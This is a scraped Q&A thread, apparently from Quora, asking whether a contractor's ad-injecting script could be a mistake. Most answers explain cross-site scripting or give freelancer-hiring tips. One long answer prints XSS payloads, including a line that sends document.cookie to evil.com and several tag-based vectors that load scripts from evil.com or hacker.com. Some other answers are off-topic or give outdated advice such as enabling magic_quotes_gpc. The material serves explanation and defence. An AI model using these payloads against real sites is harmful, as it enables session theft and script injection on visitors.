An odesk contractor appears to have added a script to my site. I want to be fair, is there any way this is a mistake?

Question

An odesk contractor appears to have added a script to my site.  I want to be fair, is there any way this is a mistake?

Deep Joy Majumdar · Answer

data.htm is an entry point and run.js contains the actual code to add underlined ads as well as what looks like some code to insert ads into any embedded content(such as youtube videos) that the page may have.
You can parse run.js through a code beautifier such as the one at http://jsbeautifier.org/ and see for yourself what all it does.

The only way that this could be a mistake is if somebody else replace these lines (hacked into your server, etc) and the odesk contractor had nothing to do with it. If the odesk contractor set up your hosting then there is no-one else to be blamed. If you received delivery of your code and then deployed it to your hosting service, You should go back and check if these lines appear in the code that the odesk contractor gave you.

ANURAG RAJ · Answer

How can anyone tell you that you have mistaken in your website of blogging , i am telling this because people think that those people are writing here they will knows very well that they will not definitely do any mistake in the writing of blogs.

and if you do any writing mistake in the blogs thereafter reader simply understand that it can be happen when you write blogs so most of the people don not mind it and do not try to do notify the blogs writers.

i think it will hardly do by the reader to inform someone mistake but some of them definitely do notify the anyone blogs mistakes.

and i would like to share my views on someone not tells mistake of the blogs ,people simply think that i did not write this blog why do i try to correct or notify the owner of blogs and if anyone reader find any error in your blogs then the reader understand that this blog content would not be ok and simply left the blogs and search another blog.

i think it will help you a little bit.

Jesse Glover · Answer

According to the brief search I did, these are a few things you could do to mitigate XSS attacks. Granted, this does not include ways to avoid social engineering attacks.

1. The search input could have been sanitized [ https://en.wikipedia.org/wiki/HTML_sanitization ] which would include proper encoding checking.
2. The web server could be set to redirect [ https://en.wikipedia.org/wiki/Server-side_redirect ] invalid requests.
3. The web server could detect a simultaneous login and invalidate the sessions.
4. The web server could detect a simultaneous login from two different IP addresses and invalidate the sessions.
5. The website could display only the last few digits of a previously used credit card.
6. The website could require users to enter their passwords again before changing their registration information.
7. The website could enact various aspects of the Content Security Policy [ https://en.wikipedia.org/wiki/Content_Security_Policy ].
8. Users could be educated to not click "benign-looking", but malicious, links.
9. Set cookie with [code ]HttpOnly[/code] flag to prevent access from JavaScript.
Link to information on XSS and some mitigation techniques.

Cross-site scripting - Wikipedia [ https://en.wikipedia.org/wiki/Cross-site_scripting ]

David M. Somerfleck · Answer

If you’re asking the question, my answer would be “probably.”

Here’s the thing; to change the core of WordPress itself (the CMS) you have to have a great deal of time, pretty advanced programming and coding skills, and a reason to spend the time on it in the first place (as opposed to maybe hiking or reading a good book on business). Most people who tinker with that core have a reason for doing it, have a demo or test site to try things out on before attemtping launch, and feel fairly confident that their work will pay off for some kind of business endeavor.

Just to do it because it feels like fun is fine, but without those abilities and understandings it’s more likely the site will have more than handful of bugs roaming around.

Aditya Singh Shourya · Answer

Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts (also commonly referred to as a malicious payload) into a legitimate website or web application. XSS is amongst the most rampant of web application vulnerabilities and occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.

By leveraging XSS, an attacker does not target a victim directly. Instead, an attacker would exploit a vulnerability within a website or web application that the victim would visit, essentially using the vulnerable website as a vehicle to deliver a malicious script to the victim’s browser.

While XSS can be taken advantage of within VBScript, ActiveX and Flash (although now considered legacy or even obsolete), unquestionably, the most widely abused is JavaScript – primarily because JavaScript is fundamental to most browsing experiences.

How Cross-site Scripting works

In order to run malicious JavaScript code in a victim’s browser, an attacker must first find a way to inject a payload into a web page that the victim visits. Of course, an attacker could use social engineering techniques to convince a user to visit a vulnerable page with an injected JavaScript payload.

In order for an XSS attack to take place the vulnerable website needs to directly include user input in its pages. An attacker can then insert a string that will be used within the web page and treated as code by the victim’s browser.

The following server-side pseudo-code is used to display the most recent comment on a web page.

%3Chtml%3E %3Ch1%3EMost recent comment%3C/h1%3E %3Cscript%3EdoSomethingEvil();%3C/script%3E %3C/html%3E

The above script is simply printing out the latest comment from a comments database and printing the contents out to an HTML page, assuming that the comment printed out only consists of text.

The above page is vulnerable to XSS because an attacker could submit a comment that contains a malicious payload such as [code ]%3Cscript%3EdoSomethingEvil();%3C/script%3E[/code].

Users visiting the web page will get served the following HTML page.

When the page loads in the victim’s browser, the attacker’s malicious script will execute, most often without the user realizing or being able to prevent such an attack.

What’s the worst an attacker can do with JavaScript?

The consequences of what an attacker can do with the ability to execute JavaScript on a web page may not immediately stand out, especially since browsers run JavaScript in a very tightly controlled environment and that JavaScript has limited access to the user’s operating system and the user’s files.

However, when considering that JavaScript has access to the following, it’s easier to understand how creative attackers can get with JavaScript.

* Malicious JavaScript has access to all the same objects the rest of the web page has, including access to cookies. Cookies are often used to store session tokens, if an attacker can obtain a user’s session cookie, they can impersonate that user.
 * JavaScript can read and make arbitrary modifications to the browser’s DOM (within the page that JavaScript is running).
 * JavaScript can use [code ]XMLHttpRequest[/code] to send HTTP requests with arbitrary content to arbitrary destinations.
 * JavaScript in modern browsers can leverage HTML5 APIs such as accessing a user’s geolocation, webcam, microphone and even the specific files from the user’s file system. While most of these APIs require user opt-in, XSS in conjunction with some clever social engineering can bring an attacker a long way.
 * The above, in combination with social engineering, allow attackers to pull off advanced attacks including cookie theft, keylogging, phishing and identity theft. Critically, XSS vulnerabilities provide the perfect ground for attackers to escalate attacks to more serious ones.
“Isn’t Cross-site scripting the user’s problem?”

If an attacker can abuse a XSS vulnerability on a web page to execute arbitrary JavaScript in a visitor’s browser, the security of that website or web application and its users has been compromised — XSS is not the user’s problem, like any other security vulnerability, if it’s affecting your users, it will affect you.

The anatomy of a Cross-site Scripting attack

An XSS attack needs three actors — the website, the victim and the attacker.

In the example below, it shall be assumed that the attacker’s goal is to impersonate the victim by stealing the victim’s cookie. Sending the cookie to a server the attacker controls can be achieved in a variety of ways, one of which is for the attacker to execute the following JavaScript code in the victim’s browser through an XSS vulnerability

%3Cscript%3E window.location=“Evil.Com - We get it...Daily. [ http://evil.com/?cookie=” ] + document.cookie %3C/script%3E

1. The attacker injects a payload in the website’s database by submitting a vulnerable form with some malicious JavaScript
2. The victim requests the web page from the website
3. The website serves the victim’s browser the page with the attacker’s payload as part of the HTML body.
4. The victim’s browser will execute the malicious script inside the HTML body. In this case it would send the victim’s cookie to the attacker’s server. The attacker now simply needs to extract the victim’s cookie when the HTTP request arrives to the server, after which the attacker can use the victim’s stolen cookie for impersonation. Some examples of Cross-site Scripting attack vectors
The following is a non-exhaustive list of XSS attack vectors that an attacker could use to compromise the security of a website or web application through an XSS attack. A more extensive list of XSS payload examples is maintained here [ https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet ].

[code ]%3Cscript%3E[/code] tag

The [code ]%3Cscript%3E[/code] tag is the most straight-forward XSS payload. A script tag can either reference external JavaScript code, or embed the code within the script tag.

[code]
%3C!-- External script --%3E
%3Cscript src=http://evil.com/xss.js%3E%3C/script%3E
%3C!-- Embedded script --%3E
%3Cscript%3E alert("XSS"); %3C/script%3E

[/code][code ]%3Cbody%3E[/code] tag

An XSS payload can be delivered inside [code ]%3Cbody%3E[/code] tag by using the [code ]onload[/code] attribute or other more obscure attributes such as the [code ]background[/code] attribute.

[code]%3C!-- onload attribute --%3E
%3Cbody onload=alert("XSS")%3E
%3C!-- background attribute --%3E
%3Cbody background="javascript:alert("XSS")"%3E
[/code][code ]%3Cimg%3E[/code] tag

Some browsers will execute JavaScript when found in the %3Cimg%3E.

[code]%3C!-- %3Cimg%3E tag XSS --%3E
%3Cimg src="javascript:alert("XSS");"%3E
%3C!--  tag XSS using lesser-known attributes --%3E
%3Cimg dynsrc="javascript:alert('XSS')"%3E
%3Cimg lowsrc="javascript:alert('XSS')"%3E
[/code]
1. [code ]%3Ciframe%3E[/code] tag
The [code ]%3Ciframe%3E[/code] tag allows the embedding of another HTML page into the parent page. An IFrame can contain JavaScript, however, it’s important to note that the JavaScript in the iFrame does not have access to the DOM of the parent’s page due to the browser’s Content Security Policy (CSP). However, IFrames are still very effective means of pulling off phising attacks.

[code]%3C!-- %3Ciframe%3E tag XSS --%3E
%3Ciframe src=”http://evil.com/xss.html”%3E
[/code][code ]%3Cinput%3E[/code] tag

In some browsers, if the [code ]type[/code] attribute of the [code ]%3Cinput%3E[/code] tag is set to [code ]image[/code], it can be manipulated to embed a script.

[code]%3C!-- %3Cinput%3E tag XSS --%3E
%3Cinput type="image" src="javascript:alert('XSS');"%3E
[/code][code ]%3Clink%3E[/code] tag

The [code ]%3Clink%3E[/code] tag, which is often used to link to external style sheets could contain a script.

[code]%3C!-- %3Clink%3E tag XSS --%3E
%3Clink rel="stylesheet" href="javascript:alert('XSS');"%3E
[/code][code ]%3Ctable%3E[/code] tag

The [code ]background[/code] attribute of the [code ]table[/code]and [code ]td[/code] tags can be exploited to refer to a script instead of an image.

[code]%3C!-- %3Ctable%3E tag XSS --%3E
%3Ctable background="javascript:alert('XSS')"%3E
%3C!-- %3Ctd%3E tag XSS --%3E
%3Ctd background="javascript:alert('XSS')"%3E
[/code][code ]%3Cdiv%3E[/code] tag

The [code ]%3Cdiv%3E[/code] tag, similar to the [code ]%3Ctable%3E[/code]and [code ]%3Ctd%3E[/code] tags can also specify a background and therefore embed a script.

[code]%3C!-- %3Cdiv%3E tag XSS --%3E
%3Cdiv style="background-image: url(javascript:alert('XSS'))"%3E
%3C!-- %3Cdiv%3E tag XSS --%3E
%3Cdiv style="width: expression(alert('XSS'));"%3E
[/code][code ]%3Cobject%3E[/code] tag

The [code ]%3Cobject%3E[/code] tag can be used to include in a script from an external site.

[code]%3C!-- %3Cobject%3E tag XSS --%3E
%3Cobject type="text/x-scriptlet" data="http://hacker.com/xss.html"%3E
[/code]Is your website or web application vulnerable to Cross-site Scripting?

XSS vulnerabilities are amongst the most widespread web application vulnerabilities on the Internet. Fortunately, it’s easy to test if your website or web application is vulnerable to XSS and other vulnerabilities by running an automated web vulnerability scan using Acunetix. Download [ https://www.acunetix.com/vulnerability-scanner/download/ ] the 14-day free on premise trial, or register [ https://www.acunetix.com/vulnerability-scanner/register-online-vulnerability-scanner/ ] to our online service to run a scan against your website or web application.

THANKS.

David Maslach · Answer

Absolutely, not. It is probably the best way to create something new. While there are many issues with it (quality control, etc), I find it quite useful for getting access to people that are difficult to find in my area.

You should approach it cautiously and slowly, I as do here, but this is what you would do in the real world as well.

https://youtu.be/cEp9aWhTXqs

Anonymous · Answer

Been using upwork (previously used Elance until they merged) and you really have to do your homework to understand what it is you need, programming language, requirements, desired end-state… and you must be able to break it down to the basics to define what your project is and what you are trying to accomplish so there is no confusion. I found that by not providing enough detail and breaking it down into pieces for freelancers will create confusion or they will insert something into the project you did not intend because you simply skipped over explaining a specific part. Spend the time and look at who is bidding on your jobs and do not focus on how much they are bidding to do your job but look at how many hours they have worked, look at how many jobs they have actually completed, some may have worked 900 hours as a freelancer but this was only for 1 or 2 jobs which they received positive feedback on…. I like to look at individuals who have a healthy amount of hours worked, a good amount of jobs completed and those that have a good amount of reviews that are favorable. Also take a look at their portfolio and what they have developed or done. You can also communicate with the bidders and ask them to provide an example of a similar job they have done that closely resembles what you need. Once you have selected the right person and agreed on a set amount, create milestones and breakup the total cost of the project so that they must meet specific milestones and dates before being awarded money as they work… this way if they completely fail to deliver even the first or second stage of the project you can retain your money and back out of the project… most freelancers worry about negative feedback since that is their lifeline when it comes to receiving jobs so if you have a particular freelancer that is not delivering but did develop something, ask that they transfer the information to you or your server and offer a smaller amount in exchange for what they have done or if the project has been severely delayed because of them, see if they will agree to forward what they have done in exchange for not leaving negative feedback for the job. Never release the funds for a milestone or for an entire project unless they have met your requirements and you are satisfied so far to release the funds… once the freelancer has the funds you no longer have the advantage depending on the ethics of the freelancer. With Upwork all initial funds or milestones are held in an escrow account until you agree to release to the freelancer or the job expires which i’ve heard the funds will automatically get dispersed to the freelancer. Either way make sure who you are selecting communicates often, has positive reviews, is knowledgeable and can abide by your deadlines and requirements. Hopefully this helps.

Nebojsa Dolovacki · Answer

Odesk is integrated with Elance, now that two sites have become UpWork.

You had some time to transfer your account to UpWork.

If you did not do this now you will need to apply for an account at UpWork, since inactive accounts have been deleted.

I deliberately say apply, not open an account, because UpWork staff are now reviewing the requests, and if they feel you are not qualified enough, they will not approve your request to open a new account.

Andrei Filonov · Answer

As anyone else said: never change the core of the WordPress site. One of the reasons: You won’t be able to update your WordPress, which is really bad thing.

Here are ways to get your setup customized:

* Customize theme - if you have a theme already, create a child theme and add your code there. You can add custom PHP code, load custom JavaScripts and CSS
 * Plugin - that’s another way to modify things in WordPress and add extras. Create a custom plugin, load CSS / Js files from there, add your PHP code
WordPress and good themes/plugins have “actions” and “filters” which allow you to modify some functionality of core WordPress and plugins/themes. Here is an official documentation to read, but there are tutorials available as well if you google it.

Plugin API " WordPress Codex [ https://codex.wordpress.org/Plugin_API ]

Ivan Wallarm · Answer

Cross site scripting Cross-site scripting - Wikipedia [ https://en.wikipedia.org/wiki/Cross-site_scripting ] is an attack on a web application performed at the end of the web application code in order to obtain information about an ignorant client.

Cross-scripting is done by injecting malicious lines of code into the first code of a trusted web application. Thus, the attacker will send messages to collect information that appear to be genuine to the affected client.

In general, it can be said that cross-scripting XSS attacks are a network security issue that web application developers as well as web application clients should be prepared for in the first place.

If you want more detailed information about Cross site scripting, how it works, their types, examples, steps to prevent such attacks and much more on this topic, read this detailed useful article

https://www.wallarm.com/what/what-is-xss-cross-site-scripting

Ivan Wallarm · Answer

In order for an attacker to be able to carry out XSS attacks effectively, two important steps need to be included.

Cross scripting. At the beginning, the attacker tracks the weak part of the web application code and injects his own risky codes into the first code. For this to be effective, the direct participation of the client is necessary. What the attacker does is include code that collects customer contributions as a component of its cross-content. So unsuspecting clients can contribute to this line of code.

This is mainly due to the fact that nothing seems wrong to the client program and the client. Or, on the other hand, an attacker can simply change the code in such a way that he can distract clients from web applications.

When an affected client plans to use a web application, the attacker can obtain information about the victim in the usual way by distracting the client from the first site. The attack can also use social engineering techniques when the executable code requests touch input from the client.

That is, the program executes lines of code entered by the attacker that train clients to create multiple sources of information, and then information about the client is collected by the attacker for whatever reason he deems appropriate.

If you want more detailed information about cross site scripting, its types, examples, prevention measures and more on this topic, read this helpful article

https://www.wallarm.com/what/what-is-xss-cross-site-scripting
I hope it helps.

Romansh Yadav · Answer

There are many way in which You can prevented XSS in your website. but to prevented any attack on anything either website, or network we have to implement more more things properly.

as you secure our house by many level security like this we have to implement many level security in our website.

1. user the entites in your all input fields. it a function in php that we can prevented xss.
2. user the html special char function.
3. on this setting in php setting. magic_quots_gpc=ON
4. apply waf firewall. it will provide the xss as well as sql protection.

Romansh Yadav · Answer

Cross site scripting is hacking technique in which a hacker inject some malicious java script code into a vulnerable website for doing some malicious activity or stealing browser history or for browser hijacking or application level session hijacking.

There are mainly 3 types of xss attack.

1. reflected Xss
2. store Xss
3. Dom Based Xss
reflected xss: it is types of xss attack in which attacker inject some java script in a website but its effect only his own browser.Whatever script he would inject none other user will be harm.the severity in this kind of attack is very minimum.

Store XSS: In this type of xss attacker inject a malicious code into the website and code will save in the database. this type of script will effect all the use. every user that open this website will be effected. every time when a client send a http request to the server and server send a http respond with malicious code because malicious code save in the database, it will harm the client.

DoM Xss: Document object Model in this type of attack , a attacker inject a java script code in the html DOM. To find the dom based xss is a little bit workfull but mostly website is dom based vulnerable. This is very dangerous attack , server is not able to stop it.server ca’t stop it. very dangerous.

Hope this information helps You to became more knowable infosec person.

Thank You very Muck

Good Luck.

Abdullah Mohamed · Answer

Cross Site Scripting, or XSS, is a kind of script injection attack.

Let's take an example, you (a website programmer) made a GET variable in a PHP page, that only displays the data inside that variable when the GET request is sent. A malicious bad guy can use this variable to inject some code to be executed when the page reloads with the arbitrary data, and if the bad guy is lucky and the variable isn't sanitized well, he should have an XSS exploit. If that variable is named (xyz) in a page named me.php, then the arbitrary URL would be:

%3E http://example.com/me.php?xyz=%3Cscript%3Ealert("I'm the bad guy!");%3C/script%3E

Now, XSS has three ways of exploitation:
 * Presistent : the malicious script/code is saved on the server itself, so each time someone tries to access the page containing those data, will be at the same time executing the malicious code.
 * Non-Presistent : the malicious script/code is executed only once a specific action is done, this is a client based attack. Just like the example I mentioned, the code will be executed only if someone clicked on that malicious link.
 * DOM-based : the exploitation happens in the user browser, where some options are changed to malicious payload and sent to some server application.

Concerning the example you mentioned in your description, if someone posted a link containing malicious XSS script(s) inside, this won't affect you, once you clicked that link, you are redirected to the link page itself, so the malicious payload will be executed on the new page's session, not facebook's.
Also, you were right, XSS vulnerabilities malicious code are executed once triggered (via clicking for example).

Muhammed Salim Ansari · Answer

%3E Cross-Site Scripting (also known as XSS) is one of the most common application-layer web attacks.
Image source - Google Images

* XSS vulnerabilities target scripts embedded in a page that are executed on the client-side rather than on the server-side.
 * XSS in itself is a threat that is brought about by the internet security weaknesses of client-side scripting languages, such as HTML and JavaScript.
 * The concept of XSS is to manipulate client-side scripts of a web application to execute in the manner desired by the malicious user. Such a manipulation can embed a script in a page that can be executed every time the page is loaded, or whenever an associated event is performed.
How it work:

There are many ways in which an attacker can entice a victim into initiating a reflective XSS request. e.g the attacker could send the victim a misleading email with a link containing malicious JavaScript. If the victim clicks on the link, the HTTP request is initiated from the victim's browser and sent to the vulnerable web application. The malicious JavaScript is then reflected back to the victim's browser, where it is executed in the context of the victim user's session.

By exploiting XSS vulnerabilities, an attacker can perform malicious actions, such as:

* Hijack an account.
 * Spread web worms.
 * Access browser history and clipboard contents.
 * Control the browser remotely.
 * Scan and exploit intranet appliances and applications.

Anonymous · Answer

As long as you choose the candidates properly you should be fine. Just be careful there are lot of noobs out there.

Make sure you test out the people you are considering to hire.

Matthew Parks Jr · Answer

It is NEVER a good idea to change wordpress core. Ever. Never. Im assumeing by “adding a new script” you ment a new function. In that case just make a worpdress plugin. Ramon provided a link. If you meant installing a whole new script or cms. Thats fine. If you want to edit the core for a plugin. Changes are its already added. Look it up and if you cant find it, make an issue on github.

Jeff Wells · Answer

I have not had any problems on Odesk. It is important to take the time to write a proper job spec and interview appropriately as with any position. In one case the contractor delivered but the work product I got back was not as good as I hoped for. I decided to pay him anyway and chalk it up to a bad hiring decision on my part. He ended up refunding me because I was not happy with the work and my rating would have represented that. Odesk did their job by connecting us and taking care of the financial aspects of the transaction. It allows me to hire talent on demand that I don't have access to anywhere else.

Robin Dale · Answer

They are the Filtering of any and all data coming into your website’s back-end code from JavaScript or Ajax in HTML Forms. Typically used are the following.

* character count limits
 * string replace methods to remove or decode raw binary, ASCII or Unicode characters
 * regex methods to replace any scripting language codes located in the form data as live code, special characters and HTML Tags to remove them entirely
 * to pass all form data to one or multiple variables in the back-end language before they reach the database. (Probably the most important)

Omer Farooq · Answer

Well the way cookies work is that only the domain that creates it can view or modify it. There are different policies in place for this kind of thing, this one is called same-origin-policy. This is usually set on the server, and i think root user can even modify these policies.

Lets say your facebook page is at https:// facebook.com/yourpage and the script is loaded form https:// somewebsite.com. The external script wont be able to read the contents of the facebook cookie or your gmail. Mostly these external scripts are javascripts and they do have permission to change the content of the page they are embeded on (but somehow facebook does restrict it, not sure how). Most websites have the cookie data encrypted so even if somehow cookie poisoning did work, hackers might not be able to decrypt it.

Secondly js scripts are not like executable programs, that can follow you around different websites. So once you leave a website they do get dumped in tmp. Unless they can somehow infect you through some other means, like having an official browser extension installed or something similar. Then they might be able to bring you harm.